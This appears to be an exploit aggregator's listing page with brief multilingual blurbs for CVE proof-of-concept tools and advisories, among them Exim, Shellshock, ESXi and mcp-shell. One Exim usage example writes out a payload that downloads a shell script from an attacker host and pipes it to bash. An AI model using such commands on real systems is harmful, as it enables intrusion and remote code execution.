htb-wifinetictwo-exploit

Exploit PoC CVE-2021-31630 Questo script Python è un exploit Proof of Concept PoC per la CVE-2021-31630, che mira a una vulnerabilità in OpenPLC in esecuzione sulla macchina WifineticTwo di HackTheBox. È progettato esclusivamente per scopi educativi e mira a dimostrare il processo di sfruttamento...

bitlocker-hardening

🔐 yellowkey-mitigation BitLocker-TPM+PIN-Härtung gegen CVE-2026-45585 YellowKey Automatisierte Gegenmaßnahme für den WinRE-BitLocker-Bypass — noch kein vollständiger Patch verfügbar 🔍 Die Schwachstelle YellowKey ist ein öffentlich offengelegter BitLocker-Bypass, der einem Angreifer mit physischem...

ipmitest

ipmitest Shell-Skript zum Testen der IPMI Cipher Type Zero Authentifizierungsumgehungsschwachstelle CVE-2013-4784 IPMI ist eine standardisierte Computersystemschnittstelle, die von Systemadministratoren für das Out-of-Band-Management von Computersystemen und die Überwachung ihres Betriebs verwend...

Vmware-ESXI

CVE-2024-37085 upload di shell non autenticato fino a diventare amministratore completo su hypervisor esxi appartenenti a un dominio. Scarica ESXIVORTEX Dettagli: un bypass dell'autenticazione che porta all'upload di una shell nel contesto di vpxuser, consentendo di ottenere pieni permessi...

TelnetdBypass-

TelnetdBypass — CVE-2026-24061 Scanner Ein Python-basierter Sicherheitsscanner, der CVE-2026-24061 erkennt und ausnutzt, eine kritische CVSS 9.8 Authentifizierungsumgehungsschwachstelle in GNU InetUtils telnetd Versionen 1.9.3 bis 2.7. Funktionsweise Der Scanner injiziert über die Telnet...

CVE-2024-53345

CVE-2024-53345 Critical 0 Day in Car Rental Management System Versioni 1.0 - 1.3 Descrizione: Esiste una vulnerabilità critica nella funzionalità di caricamento file del modulo System Settings all'interno del Car Rental Management System versioni da 1.0 a 1.3, che consente a utenti con privilegi...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC Nome dello script PoC: poc.py Uno script exploit proof-of-concept per CVE-2025-1302, che mira a una vulnerabilità RCE nella libreria jsonpath-plus. Quando viene eseguito contro un endpoint di servizio vulnerabile, lo script tenta di innescare l'esecuzione remot...

rwsploit

Oracle Reports rwservlet स्कैनर ⚠️ केवल अधिकृत उपयोग के लिए। इस टूल को केवल उन सिस्टमों पर चलाएँ जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। अनधिकृत उपयोग अवैध है। Oracle Reports Server rwservlet के लिए एक केंद्रित शोषण स्कैनर जो CVE-2012-3152 और CVE-2012-3153 को...

CVE-2019-18818_CVE-2019-19609

Exploit per CVE-2019-18818 e CVE-2019-19609 Questo repository contiene uno script Python per sfruttare due vulnerabilità: CVE-2019-18818 e CVE-2019-19609. CVE-2019-18818 Questa vulnerabilità consente a un attaccante di reimpostare la password di un utente amministratore nel CMS Strapi. Utilizzo 1...

PT-2026-81352

Name of the Vulnerable Software and Affected Versions mcp-shell versions prior to 0.6.0 Description An OS Command Injection issue exists in the shell exec MCP tool. The software implements a secure mode that restricts command execution to an allowlist of executables defined in security.yaml, whic...

PT-2026-81350

Name of the Vulnerable Software and Affected Versions mcp-shell versions prior to 0.6.0 Description The software contains two security flaws that allow unrestricted operating system command execution. First, the security configuration is disabled by default when the MCP SHELL SEC CONFIG FILE...

PT-2026-81351

Name of the Vulnerable Software and Affected Versions mcp-shell versions prior to 0.6.0 Description An OS command injection issue exists in the shell exec MCP tool. The software implements a secure mode that restricts command execution to an allowlist defined in security.yaml. However, the defaul...

PT-2026-81894

Name of the Vulnerable Software and Affected Versions ClipBucket V5 affected versions not specified Description The web installer fails to properly validate or escape the php cli filepath parameter before passing it to shell execution. This allows unauthenticated attackers to submit a crafted POS...

CVE-2015-1578

CVE-2015-1578 Achat 0.150 beta7 - Rewrite del Buffer Overflow remoto per python3 per il corso PNPT. Originale: Autore KAhara MAnhara Riscritto: in python3 da Giuseppe Aloisi Achat 0.150 beta7 - Buffer Overflow Testato su Windows 7 32bit https://www.exploit-db.com/exploits/36025 Dai allo script...

CVE-2026-28672

CVE-2026-28672 — Iniezione di comandi OS in UnixUserGroupBuilder di Apache Ranger Reproducer proof-of-concept eseguibile per l'iniezione di comandi OS nel modulo user-sync unixusersync di Apache Ranger. Durante l'enumerazione dei gruppi di ogni utente sincronizzato, UnixUserGroupBuilder esegue il...

CVE-2025-3248

CVE-2025-3248 Esecuzione di codice remoto utilizzando un endpoint API vulnerabile — Proof of Concept. Info: ⚠️ Usalo a tuo rischio! ❓ Aggiunta opzione per reverse shell. ✅ Nuovo tentativo automatico se validatecode è disattivato. Dimostrazione Utilizzo root@kitploit: python CVE-2025-3248.py /...

CVE-2014-6271-SHELLSHOCK

CVE-2014-6271-SHELLSHOCK 🐚 Shellshock-Exploit-Skript 🎯💻🔍 Dieses Python-Skript nutzt die Shellshock-Schwachstelle CVE-2014-6271 aus, um Befehle remote auszuführen oder eine Reverse-Shell auf einem verwundbaren Ziel einzurichten. 🛠️⚠️ ⚠ Haftungsausschluss 🚨❗ Dieses Skript ist ausschließlich für...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC zur Ausnutzung der Sicherheitslücke CVE-2019-10149 Nutzungsbeispiel python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

Heartexploit

Heartexploit Ecco il mio nuovo e primo exploit, questo exploit attacca la vulnerabilità HeartBleed CVE-2014-0160, spero vi piaccia. Questo exploit funziona solo su Linux poiché una parte è realizzata in linguaggi non compatibili con Windows. L'unico comando da digitare per avviare questa...

CVE-2022-37706-SUID

CVE-2022-37706-SUID CVE-2022-37706-Enlightenment v0.25.3 - Privilegieneskalation ./exploit.sh CVE-2022-37706 Versuche, die verwundbare SUID-Datei zu finden... Dies könnte einige Sekunden dauern... + Verwundbare SUID-Binärdatei gefunden! + Versuche, eine Root-Shell zu öffnen! + Genießen Sie die...